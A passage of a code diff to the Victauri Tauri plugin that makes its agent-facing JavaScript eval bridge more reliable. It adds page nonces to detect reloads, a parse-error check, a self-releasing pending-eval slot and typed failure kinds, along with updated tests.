+ // so a delayed delivery can never report a parse error for code that then runs. `nonce` + // is the page the eval was armed in: a check that lands in another page stays silent. + _evalCheck: function(id, nonce) { + id = String(id); + if (nonce !== PAGE_NONCE || evalState.has(id) || evalDone.has(id)) return null; + evalMarkDone(id); + return evalCallback(id, PRISTINE_STRINGIFY({ __victauri_not_run: 'the code did not begin executing — this almost always means a syntax/parse error in the submitted code' })); }, // Deliver an eval's outcome exactly once (a later settle for the same id is ignored). _evalSettle: function(id, payload) { id = String(id); - var s = evalState.get(id); - if (s) { - if (s.done) return null; - s.done = true; - evalState.delete(id); - } + if (evalDone.has(id)) return null; + evalMarkDone(id); var body; - try { body = PRISTINE_STRINGIFY(payload); } - catch (e) { body = PRISTINE_STRINGIFY({ __victauri_err: String((e && e.message) || e) }); } + if (payload && payload.__victauri_type === 'value') { + // The code RAN; a result JSON cannot carry (circular, BigInt, a function) is + // reported as exactly that, never as a JavaScript error. + var json; + try { json = PRISTINE_STRINGIFY(payload.__victauri_ok); } + catch (e) { json = null; body = PRISTINE_STRINGIFY({ __victauri_unserializable: String((e && e.message) || e) }); } + if (body === undefined) { + body = json === undefined + ? PRISTINE_STRINGIFY({ __victauri_unserializable: 'the result is a ' + typeof payload.__victauri_ok + ', which JSON cannot represent' }) + : '{"__victauri_ok":' + json + ',"__victauri_type":"value"}'; + } + } else { + try { body = PRISTINE_STRINGIFY(payload); } + catch (e) { body = PRISTINE_STRINGIFY({ __victauri_err: String((e && e.message) || e) }); } + } return evalCallback(id, body); }, @@ -2559,12 +2674,18 @@ const INIT_SCRIPT_BODY: &str = r#" }; })(); - // Signal to the Rust backend that the JS bridge is fully initialized. - try { - window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { - id: '__victauri_bridge_ready__', - result: '' - }); - } catch(e) {} + // Signal to the Rust backend that the JS bridge is fully initialized, identifying this page + // load by its nonce. A page restored from the back/forward cache re-runs no init script, so + // it re-announces itself: an eval armed in the page it replaced must not wait out its timeout. + function signalReady() { + try { + window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', { + id: '__victauri_bridge_ready__', + result: PAGE_NONCE + }); + } catch(e) {} + } + window.addEventListener('pageshow', function(e) { if (e && e.persisted) signalReady(); }); + signalReady(); })(); "#; diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index 12b58446..2428c59a 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -147,6 +147,62 @@ const MAX_EVAL_TIMEOUT_SECS: u64 = 300; #[doc(hidden)] pub type PendingCallbacks = Arc>>>; +/// A reserved [`PendingCallbacks`] entry, removed when the guard is dropped. +/// +/// Every exit path of an eval must release its slot, including the one no code runs on: a REST +/// tool call executes inside the axum future, so a client that disconnects or times out DROPS +/// the call mid-wait. Removing the entry only on the timeout/error paths leaked it then, and 100 +/// leaked entries failed every later eval with "too many concurrent" until the app restarted. +pub(crate) struct PendingSlot { + map: PendingCallbacks, + id: String, +} + +impl PendingSlot { + /// Insert `tx` under `id` into an already-locked map (the caller checked the ceilings under + /// the same lock). + pub(crate) fn insert( + map: &PendingCallbacks, + locked: &mut HashMap>, + id: String, + tx: oneshot::Sender, + ) -> Self { + locked.insert(id.clone(), tx); + Self { + map: Arc::clone(map), + id, + } + } + + /// The reserved eval id. + pub(crate) fn id(&self) -> &str { + &self.id + } +} + +impl Drop for PendingSlot { + fn drop(&mut self) { + // The map's lock is async and only held for map operations, so it is almost always + // free; when it is not, finish the removal on the runtime (or block, outside one). + if let Ok(mut map) = self.map.try_lock() { + map.remove(&self.id); + return; + } + let map = Arc::clone(&self.map); + let id = std::mem::take(&mut self.id); + match tokio::runtime::Handle::try_current() { + Ok(rt) => { + rt.spawn(async move { + map.lock().await.remove(&id); + }); + } + Err(_) => { + map.blocking_lock().remove(&id); + } + } + } +} + /// Runtime state shared between the MCP server and all tool handlers. /// /// Built by the plugin at setup; apps reach it via @@ -963,7 +1019,10 @@ impl VictauriBuilder { }; match event { RunEvent::Exit => { - let _ = state.shutdown_tx.send(true); + // `send_replace`: the value must flip even with no receiver left + // (`send` then leaves it unchanged), since an eval started after + // this reads it directly. + state.shutdown_tx.send_replace(true); tracing::info!("Victauri shutdown signal sent"); } RunEvent::ExitRequested { .. } => { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a4c49f97..e754fadc 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -77,12 +77,6 @@ const MAX_EVAL_CODE_LEN: usize = 1_000_000; /// Results exceeding this are truncated to prevent memory exhaustion. const MAX_EVAL_RESULT_LEN: usize = 5_000_000; -/// How long the eval parse-watchdog waits for the user-code script to begin executing -/// before reporting a likely syntax error. A parse error means the script never runs (so -/// it never marks itself "started"); this caps that failure at ~0.75s instead of the full -/// eval timeout, while still leaving valid-but-slow code to run to the real timeout. -const PARSE_WATCHDOG_MS: u64 = 750; - /// Default number of entries returned by IPC/network log tools when no explicit /// `limit` is given. Prevents busy apps (large logs) from exceeding the eval cap. const DEFAULT_LOG_LIMIT: usize = 100; @@ -108,9 +102,6 @@ const DB_HEALTH_COUNT_BUDGET: std::time::Duration = std::time::Duration::from_se #[cfg(feature = "sqlite")] const DB_HEALTH_CHECK_BUDGET: std::time::Duration = std::time::Duration::from_secs(5); -/// A page load within this long of an eval's injection is attributed to the page the eval is -/// running in (a late ready signal), not to a reload that killed it. -const PAGE_RELOAD_GRACE: std::time::Duration = std::time::Duration::from_millis(250); /// A timeout for an error message: whole seconds, or milliseconds when under a second (so a /// short per-call timeout never reads as "timed out after 0s"). fn format_timeout(timeout: std::time::Duration) -> String { @@ -124,13 +115,34 @@ fn format_timeout(timeout: std::time::Duration) -> String { /// Upper bound for `invoke_command`'s per-call `timeout_ms` (matches the eval-timeout ceiling). const MAX_INVOKE_TIMEOUT_MS: u64 = 300_000; -/// Whether an eval error means the call was cut off (timeout, app exit, closed window, page -/// reload) rather than the command completing with an error. -fn is_aborted_call(error: &str) -> bool { - error.starts_with("eval timed out") - || error.starts_with("the app began shutting down") - || (error.starts_with("window '") - && (error.contains("was closed while") || error.contains("loaded a new page"))) +/// How an eval call failed — typed, so a caller never infers from error text whether the code +/// ran (e.g. whether the call is a command timing). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum EvalFailureKind { + /// The code never ran: the call was refused or never delivered (saturated pending map, dead + /// bridge, failed injection, app exiting), or it did not parse. + NotSent, + /// Cut off in flight (timeout, app exit, window closed, page reload): it may or may not + /// have run. + Aborted, + /// The code ran in the page and threw, or ran but its result could not be returned. + Page, +} + +/// A failed eval: what happened to the code, and the message for the agent. +#[derive(Debug, Clone, PartialEq, Eq)] +struct EvalFailure { + kind: EvalFailureKind, + message: String, +} + +impl EvalFailure { + fn new(kind: EvalFailureKind, message: impl Into) -> Self { + Self { + kind, + message: message.into(), + } + } } /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). @@ -459,15 +471,19 @@ impl VictauriMcpHandler { std::time::Duration::from_millis(ms.clamp(1, MAX_INVOKE_TIMEOUT_MS)) }); let result = self - .eval_with_return_timeout(&code, params.webview_label.as_deref(), timeout) + .eval_outcome(&code, params.webview_label.as_deref(), timeout) .await; let elapsed = start.elapsed(); - // Only real outcomes are timings: a timeout, an app exit, a closed window or a reload - // measures how long we waited, not how long the command took (it skewed p95). - let aborted = result.as_ref().err().is_some_and(|e| is_aborted_call(e)); - if !aborted { + // Only calls that reached the command are timings: one never sent (saturated, dead + // bridge, failed injection) measures nothing, and one cut off (timeout, app exit, closed + // window, reload) measures how long we waited — both skewed p95. + let ran = result + .as_ref() + .map_or_else(|f| f.kind == EvalFailureKind::Page, |_| true); + if ran { self.state.command_timings.record(¶ms.command, elapsed); } + let result = result.map_err(|f| f.message); match result { Ok(result) => { @@ -4458,38 +4474,40 @@ impl VictauriMcpHandler { /// a TRUE hard ceiling — a separate check-then-insert races (concurrent callers all pass /// a stale check, then each inserts, blowing past the cap). On a saturated map it also /// fails fast (before any eval is injected) with the real "too many concurrent" cause - /// rather than letting a probe burn its full timeout. + /// rather than letting a probe burn its full timeout. The slot is released when the + /// returned guard drops — on every exit, including the caller's future being dropped. async fn reserve_pending( &self, id: &str, tx: tokio::sync::oneshot::Sender, - ) -> Result<(), String> { + ) -> Result { let mut pending = self.state.pending_evals.lock().await; if pending.len() >= MAX_PENDING_EVALS { return Err(format!( "too many concurrent eval requests (limit: {MAX_PENDING_EVALS})" )); } - pending.insert(id.to_string(), tx); - Ok(()) + Ok(crate::PendingSlot::insert( + &self.state.pending_evals, + &mut pending, + id.to_string(), + tx, + )) } - async fn probe_bridge(&self, webview_label: Option<&str>) -> Result<(), String> { + /// Liveness probe. On success, returns the nonce of the page that answered (`None` for a + /// page without the Victauri bridge). + async fn probe_bridge(&self, webview_label: Option<&str>) -> Result, String> { let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); - self.reserve_pending(&id, tx).await?; - let id_js = js_string(&id); - let probe = format!( - r#"(async()=>{{await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback',{{id:{id_js},result:'"probe_ok"'}});}})();"# - ); + let _slot = self.reserve_pending(&id, tx).await?; + let probe = crate::js_bridge::eval_probe_script(&id); if let Err(e) = self.bridge.eval_webview(webview_label, &probe) { - self.state.pending_evals.lock().await.remove(&id); return Err(format!("eval injection failed: {e}")); } - if let Ok(Ok(_)) = tokio::time::timeout(std::time::Duration::from_secs(2), rx).await { - Ok(()) + if let Ok(Ok(raw)) = tokio::time::timeout(std::time::Duration::from_secs(2), rx).await { + Ok(crate::js_bridge::probe_answer_nonce(&raw)) } else { - self.state.pending_evals.lock().await.remove(&id); let label = webview_label.unwrap_or("default"); Err(format!( "bridge not responding on window '{label}' — the window may be hidden, \ @@ -4500,12 +4518,57 @@ impl VictauriMcpHandler { } } + /// Whether window `label` has shown a page other than the one an eval was armed in since + /// ready-signal `seen` — and if so, the error to report. A ready signal carrying the armed + /// nonce is the eval's own page announcing itself late (under load that can take seconds); + /// any other is confirmed by asking the page for its CURRENT nonce, because page script can + /// send a ready signal itself and must not be able to abort the agent's calls with it. + async fn page_replaced( + &self, + label: Option<&str>, + seen: &mut u64, + armed: Option<&str>, + ) -> Option { + let label = label?; + let load = self.state.page_loads.latest(label)?; + if load.seq <= *seen { + return None; + } + *seen = load.seq; + if armed.is_some() && load.nonce.as_deref() == armed { + return None; + } + match self.probe_bridge(Some(label)).await { + Ok(current) if armed.is_some() && current.as_deref() == armed => None, + _ => Some(format!( + "window '{label}' loaded a new page (a reload or navigation) while the call was \ + in flight, so no result will arrive. The code may or may not have run before \ + the reload — check the app's state before re-running it." + )), + } + } + async fn eval_with_return_timeout( &self, code: &str, webview_label: Option<&str>, timeout: std::time::Duration, ) -> Result { + self.eval_outcome(code, webview_label, timeout) + .await + .map_err(|f| f.message) + } + + /// Run `code` in the webview and wait for its outcome; a failure says whether the code ran. + #[allow(clippy::too_many_lines)] + async fn eval_outcome( + &self, + code: &str, + webview_label: Option<&str>, + timeout: std::time::Duration, + ) -> Result { + use EvalFailureKind::{Aborted, NotSent, Page}; + // The hard concurrency ceiling is enforced atomically at every reservation // (`reserve_pending`, used by both the probe and the real eval below) — NOT with a // separate early check, which races: concurrent callers would all pass a stale @@ -4532,11 +4595,26 @@ impl VictauriMcpHandler { } } + // Subscribe before anything is sent AND check the current value: `subscribe()` marks it + // seen, so a call started after the app's exit signal would otherwise wait out its whole + // timeout for a change that has already happened. + let mut shutdown = self.state.shutdown_tx.subscribe(); + if *shutdown.borrow() { + return Err(EvalFailure::new( + NotSent, + "the app is shutting down, so the call was not sent", + )); + } + // Reserved sentinel key for the default (unlabeled) window — cannot // collide with a real label. let label_key = webview_label.map_or_else(|| "\u{1}__default__".to_string(), str::to_string); + // Ready signals from here on may come from a page that replaced the one this eval runs + // in; an earlier one cannot (the probe below then answers from the new page). + let mut loads_seen = self.state.page_loads.current_seq(); + // Liveness probe before EVERY eval — on the DEFAULT window as well as // labeled ones. The probe is a tiny round-trip that returns in ~ms on a // healthy bridge and fails fast (~2s) on a dead/hung/reloading one, turning @@ -4547,23 +4625,32 @@ impl VictauriMcpHandler { // probed at all. Probing every call (not once-cached) is what guarantees // *zero* 30s hangs even across repeated reloads; the healthy-path cost is a // single sub-millisecond localhost round-trip, negligible against the value - // of never stalling an agent into a CDP fallback. (A saturated pending-eval - // map is already rejected above, before this probe.) + // of never stalling an agent into a CDP fallback. It also reports the nonce of the + // page the eval is armed in, which is what tells a reload from a late ready signal. let prev_timed_out = self.timed_out_labels.lock().await.remove(&label_key); - if let Err(e) = self.probe_bridge(webview_label).await { - return Err(if prev_timed_out { - format!( - "{e} (a previous eval on this window also timed out — the webview \ - likely reloaded or the app stopped responding)" - ) - } else { - e - }); - } + let armed_nonce = match self.probe_bridge(webview_label).await { + Ok(nonce) => nonce, + Err(e) => { + return Err(EvalFailure::new( + NotSent, + if prev_timed_out { + format!( + "{e} (a previous eval on this window also timed out — the webview \ + likely reloaded or the app stopped responding)" + ) + } else { + e + }, + )); + } + }; let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); - self.reserve_pending(&id, tx).await?; + let _slot = self + .reserve_pending(&id, tx) + .await + .map_err(|e| EvalFailure::new(NotSent, e))?; // Auto-prepend `return` so bare expressions produce a value — but ONLY // for single expressions. Multi-statement blocks (or code containing an @@ -4580,159 +4667,111 @@ impl VictauriMcpHandler { code.trim().to_string() }; - let id_js = js_string(&id); - // Fail fast on a SYNTAX error instead of hanging for the full timeout (audit / // red-team "malformed eval consumes the full 30s"). The user code is inlined into - // the script below; if it has a parse error the WHOLE script fails to parse and the - // try/catch never runs, so the callback never fires. We cannot wrap the code in - // `new Function`/`AsyncFunction` to surface the SyntaxError, because dynamic code - // generation is gated by the same `unsafe-eval` CSP that blocks `eval()` — which is - // exactly why the bridge uses an inline async-IIFE in the first place. Instead an - // independent watchdog (which always parses) reports a parse error quickly: the - // user-code script sets a `started` flag at its very top, so a script that fails to - // parse never sets it. A valid-but-slow eval (e.g. a `wait_for` poll) sets `started` - // immediately and is left to run to the real timeout — the watchdog only fires when - // the code never began executing. - // The watchdog and the settle logic live in the bridge's closure-private state (see - // `_evalArm`/`_evalSettle` in js_bridge.rs): the page can neither enumerate pending eval - // ids nor suppress results, and serialization uses a `JSON.stringify` captured before - // any page script ran. - let watchdog = format!( - "(function () {{ var v = window.__VICTAURI__; \ - if (v && v._evalArm) v._evalArm({id_js}, {PARSE_WATCHDOG_MS}); }})();" - ); - - // `{code}` is followed by a NEWLINE so a trailing `// comment` in the user code cannot - // comment out the rest of the wrapper (it used to turn every such eval into a parse - // error reported as "did not begin executing"). - let inject = format!( - r" - (async () => {{ - const __vic = {{ id: {id_js}, bridge: window.__VICTAURI__ }}; - const __settle = (p) => (__vic.bridge && __vic.bridge._evalSettle) - ? __vic.bridge._evalSettle(__vic.id, p) - : window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: __vic.id, result: JSON.stringify(p) - }}); - if (__vic.bridge && __vic.bridge._evalBegin) __vic.bridge._evalBegin(__vic.id); - try {{ - const __result = await (async () => {{ {code} - }})(); - const __type = __result === undefined ? 'undefined' - : __result === null ? 'null' : 'value'; - const __val = __type === 'value' ? __result : null; - await __settle({{ __victauri_ok: __val, __victauri_type: __type }}); - }} catch (e) {{ - await __settle({{ __victauri_err: (function (x) {{ - // A Tauri command's `Err(serde struct)` rejects with a plain object: - // ``String(obj)`` would collapse it to '[object Object]'. - if (x && typeof x.message === 'string') return x.message; - if (typeof x === 'string') return x; - try {{ var s = JSON.stringify(x); if (s !== undefined) return s; }} catch (_) {{}} - try {{ return String(x); }} catch (_) {{ return Object.prototype.toString.call(x); }} - }})(e) }}); - }} - }})(); - " - ); - - // Arm the watchdog first, in the window the bridge resolves, then deliver the user code - // to THAT SAME window — so both land together and we know exactly which window to watch. - let target = match self.bridge.eval_webview_resolved(webview_label, &watchdog) { - Ok(label) => label, - Err(e) => { - self.state.pending_evals.lock().await.remove(&id); - return Err(format!("eval injection failed: {e}")); - } - }; - // If the target window loads a NEW page after the code was delivered, the result can - // never arrive. The grace period absorbs the ready signal of the page the code is - // running in (sent fire-and-forget at bridge init, so it can land just after our - // probe) — a load only counts once it is clearly later than the injection. - let reload_cutoff = std::time::Instant::now() + PAGE_RELOAD_GRACE; + // the wrapper; if it has a parse error the WHOLE script fails to parse, so its callback + // never fires. We cannot wrap the code in `new Function`/`AsyncFunction` to surface the + // SyntaxError, because dynamic code generation is gated by the same `unsafe-eval` CSP + // that blocks `eval()` — which is exactly why the bridge uses an inline async-IIFE in + // the first place. Instead a check script (which always parses) is delivered right + // AFTER the wrapper, to the same window: webview evals run in order, and a wrapper that + // parsed has already marked itself begun, so "not begun" means it did not parse. There + // is no timer to race: the check used to be a 750ms watchdog armed BEFORE the code, and + // a busy main thread delaying the code past it reported a parse error for code that + // then ran (an `invoke_command` retried on that ran twice). + // The settle logic lives in the bridge's closure-private state (see `_evalBegin` / + // `_evalCheck` / `_evalSettle` in js_bridge.rs): the page can neither enumerate pending + // eval ids nor suppress results, each outcome is delivered at most once, and + // serialization uses a `JSON.stringify` captured before any page script ran. + let inject = crate::js_bridge::eval_wrapper_script(&id, &code); + let target = self + .bridge + .eval_webview_resolved(webview_label, &inject) + .map_err(|e| EvalFailure::new(NotSent, format!("eval injection failed: {e}")))?; let deliver_to = if target.is_empty() { webview_label } else { Some(target.as_str()) }; - if let Err(e) = self.bridge.eval_webview(deliver_to, &inject) { - self.state.pending_evals.lock().await.remove(&id); - return Err(format!("eval injection failed: {e}")); - } - - // While waiting, watch for the two ways a call ends with NO callback ever coming: the - // target window was destroyed, or the app began shutting down. Both are the EXPECTED - // outcome of code that closes its own window or quits the app (e.g. invoking a - // `quit_app` command) — reporting them after the full timeout as "an unresolved - // promise, an infinite loop…" misled agents into thinking the call never ran. + let check = crate::js_bridge::eval_check_script(&id, armed_nonce.as_deref()); + if let Err(e) = self.bridge.eval_webview(deliver_to, &check) { + // Only the fast parse-error report is lost; the code itself was delivered. + tracing::debug!("eval parse check not delivered: {e}"); + } + + // While waiting, watch for the ways a call ends with NO callback ever coming: the + // target window was destroyed, it loaded a new page, or the app began shutting down. + // All are the EXPECTED outcome of code that closes its own window, navigates or quits + // the app (e.g. invoking a `quit_app` command) — reporting them after the full timeout + // as "an unresolved promise, an infinite loop…" misled agents into thinking the call + // never ran. // // The window check runs in its own task: listing windows is a main-thread round trip // that can take up to its 10s dispatch timeout on a busy UI, and must neither stall this // wait nor push it past its deadline. A listing that FAILS (a busy or wedged UI) is not // evidence of anything — only a successful listing that lacks the window is. let watched: Option = (!target.is_empty()).then_some(target); - let mut shutdown = self.state.shutdown_tx.subscribe(); let deadline = tokio::time::Instant::now() + timeout; let mut liveness = tokio::time::interval_at( tokio::time::Instant::now() + EVAL_WINDOW_WATCH_INTERVAL, EVAL_WINDOW_WATCH_INTERVAL, ); let mut check: Option, String>>> = None; - let page_reloaded = - || { - watched.as_deref().and_then(|label| { - self.state.page_loads.loaded_after(label, reload_cutoff).then(|| { - format!( - "window '{label}' loaded a new page (a reload or navigation) while the \ - call was in flight, so no result will arrive. The code may or may not \ - have run before the reload — check the app's state before re-running it." - ) - }) - }) - }; + let armed = armed_nonce.as_deref(); let mut rx = rx; - let outcome = loop { - tokio::select! { - r = &mut rx => break Ok(r), - () = self.state.page_loads.changed() => { - if let Some(msg) = page_reloaded() { - break Err(Some(msg)); + // A reload that completed while the code was being delivered is already recorded. + let outcome = if let Some(msg) = self + .page_replaced(watched.as_deref(), &mut loads_seen, armed) + .await + { + Err(Some(msg)) + } else { + loop { + tokio::select! { + r = &mut rx => break Ok(r), + () = self.state.page_loads.changed() => { + if let Some(msg) = + self.page_replaced(watched.as_deref(), &mut loads_seen, armed).await + { + break Err(Some(msg)); + } } - } - () = tokio::time::sleep_until(deadline) => break Err(None), - changed = shutdown.changed() => { - if changed.is_err() || *shutdown.borrow() { - break Err(Some( - "the app began shutting down while the call was in flight, so no \ - result will arrive. If the code/command quits or restarts the app, \ - this is the expected outcome and it most likely ran — do not \ - re-run it blindly." - .to_string(), - )); + () = tokio::time::sleep_until(deadline) => break Err(None), + changed = shutdown.changed() => { + if changed.is_err() || *shutdown.borrow() { + break Err(Some( + "the app began shutting down while the call was in flight, so \ + no result will arrive. If the code/command quits or restarts the \ + app, this is the expected outcome and it most likely ran — do \ + not re-run it blindly." + .to_string(), + )); + } } - } - _ = liveness.tick(), if watched.is_some() && check.is_none() => { - // Backstop for a page-load notification that fired between select rounds. - if let Some(msg) = page_reloaded() { - break Err(Some(msg)); + _ = liveness.tick(), if watched.is_some() && check.is_none() => { + // Backstop for a ready signal that arrived between select rounds. + if let Some(msg) = + self.page_replaced(watched.as_deref(), &mut loads_seen, armed).await + { + break Err(Some(msg)); + } + let bridge = Arc::clone(&self.bridge); + check = Some(tokio::spawn(async move { bridge.try_list_window_labels() })); } - let bridge = Arc::clone(&self.bridge); - check = Some(tokio::spawn(async move { bridge.try_list_window_labels() })); - } - listed = async { check.as_mut().expect("guarded by precondition").await }, - if check.is_some() => - { - check = None; - if let (Ok(Ok(labels)), Some(label)) = (listed, watched.as_deref()) - && !labels.iter().any(|l| l == label) + listed = async { check.as_mut().expect("guarded by precondition").await }, + if check.is_some() => { - break Err(Some(format!( - "window '{label}' was closed while the call was in flight, so no \ - result will arrive. If the code/command closes this window (or \ - quits the app), this is the expected outcome and it most likely \ - ran — do not re-run it blindly." - ))); + check = None; + if let (Ok(Ok(labels)), Some(label)) = (listed, watched.as_deref()) + && !labels.iter().any(|l| l == label) + { + break Err(Some(format!( + "window '{label}' was closed while the call was in flight, so no \ + result will arrive. If the code/command closes this window (or \ + quits the app), this is the expected outcome and it most likely \ + ran — do not re-run it blindly." + ))); + } } } } @@ -4742,39 +4781,44 @@ impl VictauriMcpHandler { } let early = match outcome { Ok(r) => Ok(r), - Err(Some(msg)) => { - self.state.pending_evals.lock().await.remove(&id); - return Err(msg); - } + // The result may have landed while the page change was being confirmed. + Err(Some(msg)) => match rx.try_recv() { + Ok(raw) => Ok(Ok(raw)), + Err(_) => return Err(EvalFailure::new(Aborted, msg)), + }, Err(None) => Err(()), }; match early { Ok(Ok(raw)) => { self.check_bridge_version_once(); if raw.len() > MAX_EVAL_RESULT_LEN { - return Err(format!( - "eval result too large ({} bytes, limit {MAX_EVAL_RESULT_LEN})", - raw.len() + return Err(EvalFailure::new( + Page, + format!( + "eval result too large ({} bytes, limit {MAX_EVAL_RESULT_LEN})", + raw.len() + ), )); } unwrap_eval_envelope(raw) } - Ok(Err(_)) => Err("eval callback channel closed".to_string()), - Err(_) => { - self.state.pending_evals.lock().await.remove(&id); + Ok(Err(_)) => Err(EvalFailure::new(Aborted, "eval callback channel closed")), + Err(()) => { // Mark this window so the NEXT eval does a fast liveness probe — // if the bridge is gone (reloaded/crashed) the next call fails in // ~2s instead of blocking the full timeout again. self.timed_out_labels.lock().await.insert(label_key.clone()); - Err(format!( - "eval timed out after {} — the code began executing but never resolved. \ - (A syntax/parse error would have failed fast via the parse watchdog, so \ - this is NOT a parse error.) Common causes: an unresolved promise, an \ - infinite loop, an `await` on something that never settles, or the webview \ - reloaded / the app stopped responding mid-eval. If the app may have \ - navigated or crashed, retry (the next call fails fast if the bridge is \ - gone).", - format_timeout(timeout) + Err(EvalFailure::new( + Aborted, + format!( + "eval timed out after {} — the code began executing but never resolved. \ + (A syntax/parse error is reported immediately, so this is NOT a parse \ + error.) Common causes: an unresolved promise, an infinite loop, an \ + `await` on something that never settles, or the webview reloaded / the \ + app stopped responding mid-eval. If the app may have navigated or \ + crashed, retry (the next call fails fast if the bridge is gone).", + format_timeout(timeout) + ), )) } } @@ -5172,12 +5216,33 @@ fn trimmed_log_js(source_expr: &str, limit: usize) -> String { /// fails because the value is too deeply nested, the envelope is stripped by /// string slicing (no recursion) so the actual value is still returned rather /// than leaking the raw envelope string. -fn unwrap_eval_envelope(raw: String) -> Result { +fn unwrap_eval_envelope(raw: String) -> Result { if let Ok(envelope) = serde_json::from_str::(&raw) { + if let Some(why) = envelope.get("__victauri_not_run") { + return Err(EvalFailure::new( + EvalFailureKind::NotSent, + format!( + "JavaScript parse error: {}", + why.as_str().unwrap_or("the code did not begin executing") + ), + )); + } if let Some(err) = envelope.get("__victauri_err") { - return Err(format!( - "JavaScript error: {}", - err.as_str().unwrap_or("unknown error") + return Err(EvalFailure::new( + EvalFailureKind::Page, + format!( + "JavaScript error: {}", + err.as_str().unwrap_or("unknown error") + ), + )); + } + if let Some(why) = envelope.get("__victauri_unserializable") { + return Err(EvalFailure::new( + EvalFailureKind::Page, + format!( + "the code ran, but its result could not be serialized to JSON ({}). Return a JSON-serializable value instead — e.g. String() a BigInt, or pick the fields you need from a circular object.", + why.as_str().unwrap_or("unknown reason") + ), )); } if envelope.get("__victauri_ok").is_some() { @@ -5205,7 +5270,10 @@ fn unwrap_eval_envelope(raw: String) -> Result { } if let Some(after) = raw.strip_prefix(r#"{"__victauri_err":"#) { let msg = after.trim_end_matches('}').trim_matches('"'); - return Err(format!("JavaScript error: {msg}")); + return Err(EvalFailure::new( + EvalFailureKind::Page, + format!("JavaScript error: {msg}"), + )); } Ok(raw) } @@ -5891,7 +5959,7 @@ mod tests { #[test] fn envelope_unwrap_error() { let r = unwrap_eval_envelope(r#"{"__victauri_err":"boom"}"#.into()); - assert!(r.unwrap_err().contains("boom")); + assert!(r.unwrap_err().message.contains("boom")); } #[test] @@ -6248,7 +6316,7 @@ mod authz_dispatch_tests { /// positional array body used to be gated as the bare tool name, which the Test /// profile allows for `navigate` — the handler then parsed and ran `go_to`. Both /// shapes must now be refused as invalid params before any handler runs, in every - /// profile (FullControl with the action disabled is the other half of the bypass). + /// profile (`FullControl` with the action disabled is the other half of the bypass). #[tokio::test] async fn non_string_action_cannot_slip_past_the_gate() { let mut full_minus_go_to = PrivacyConfig::default(); @@ -6534,6 +6602,10 @@ mod command_policy_dispatch_tests { struct RecordingBridge { scripts: Arc>>, pending_evals: Option, + /// The nonce of the page currently loaded (reported by the liveness probe). + page_nonce: Arc>>, + /// When set, the eval wrapper script is answered with this callback body. + eval_answer: Arc>>, } /// Extract the 36-char eval id from a probe script of the form `…id:""…`. @@ -6542,17 +6614,45 @@ mod command_policy_dispatch_tests { script.get(start..start + 36).map(str::to_string) } + /// Extract the eval id from the eval wrapper script (`const __vic = { id: "", …`). + fn extract_wrapper_id(script: &str) -> Option { + let start = script.find("__vic = { id: \"")? + 15; + script.get(start..start + 36).map(str::to_string) + } + impl RecordingBridge { /// A recording bridge that answers the liveness probe with the state's pending-evals /// map, so a permitted command's eval proceeds past the probe and is observably /// injected. fn answering(pending_evals: crate::PendingCallbacks) -> Self { Self { - scripts: Arc::default(), pending_evals: Some(pending_evals), + ..Self::default() } } + /// Like [`answering`](Self::answering), in a page whose nonce is `nonce`. + fn in_page(pending_evals: crate::PendingCallbacks, nonce: &str) -> Self { + let b = Self::answering(pending_evals); + b.load_page(nonce); + b + } + + /// The window now shows a page with this nonce (what the liveness probe reports). + fn load_page(&self, nonce: &str) { + *self + .page_nonce + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) = Some(nonce.to_string()); + } + + fn answer_evals_with(&self, body: &str) { + *self + .eval_answer + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) = Some(body.to_string()); + } + /// True iff any recorded eval script invoked `command` via the Tauri IPC bridge. fn invoked(&self, command: &str) -> bool { let needle = format!("invoke({}", js_string(command)); @@ -6575,15 +6675,33 @@ mod command_policy_dispatch_tests { // real eval is still left unanswered, so it times out fast at the 100ms // test `eval_timeout` — we only care WHICH scripts reached the bridge, // never the eval's return value. - if let Some(pending) = &self.pending_evals - && script.contains("probe_ok") - && let Some(id) = extract_probe_id(script) - { + let answer = if script.contains("probe_ok") { + extract_probe_id(script).map(|id| { + let nonce = self + .page_nonce + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .clone(); + let body = nonce.map_or_else( + || "\"probe_ok\"".to_string(), + |n| format!("\"probe_ok:{n}\""), + ); + (id, body) + }) + } else { + let body = self + .eval_answer + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .clone(); + extract_wrapper_id(script).zip(body) + }; + if let (Some(pending), Some((id, body))) = (&self.pending_evals, answer) { let pending = pending.clone(); std::thread::spawn(move || { let mut map = pending.blocking_lock(); if let Some(tx) = map.remove(&id) { - let _ = tx.send("\"probe_ok\"".to_string()); + let _ = tx.send(body); } }); } @@ -6924,15 +7042,16 @@ mod command_policy_dispatch_tests { let mut held = Vec::new(); for i in 0..crate::tools::MAX_PAGE_PENDING_EVALS { let (tx, rx) = tokio::sync::oneshot::channel(); - let id = format!("{}{i}", crate::tools::PAGE_EVAL_PREFIX); - crate::tools::reserve_page_eval(&state, &id, tx) + // Spread over windows so the page-wide budget, not a window's, is what fills up. + let label = format!("w{}", i % 5); + let slot = crate::tools::reserve_page_eval(&state, &label, tx) .await .unwrap(); - held.push(rx); + held.push((slot, rx)); } let (tx, _rx) = tokio::sync::oneshot::channel(); - let over = crate::tools::reserve_page_eval(&state, "page:over", tx).await; - assert!(over.unwrap_err().contains("page-originated")); + let over = crate::tools::reserve_page_eval(&state, "w9", tx).await; + assert!(over.err().unwrap().contains("page-originated")); // The agent path still has room. let bridge = RecordingBridge::answering(state.pending_evals.clone()); let h = VictauriMcpHandler::new(state.clone(), Arc::new(bridge)); @@ -6941,6 +7060,34 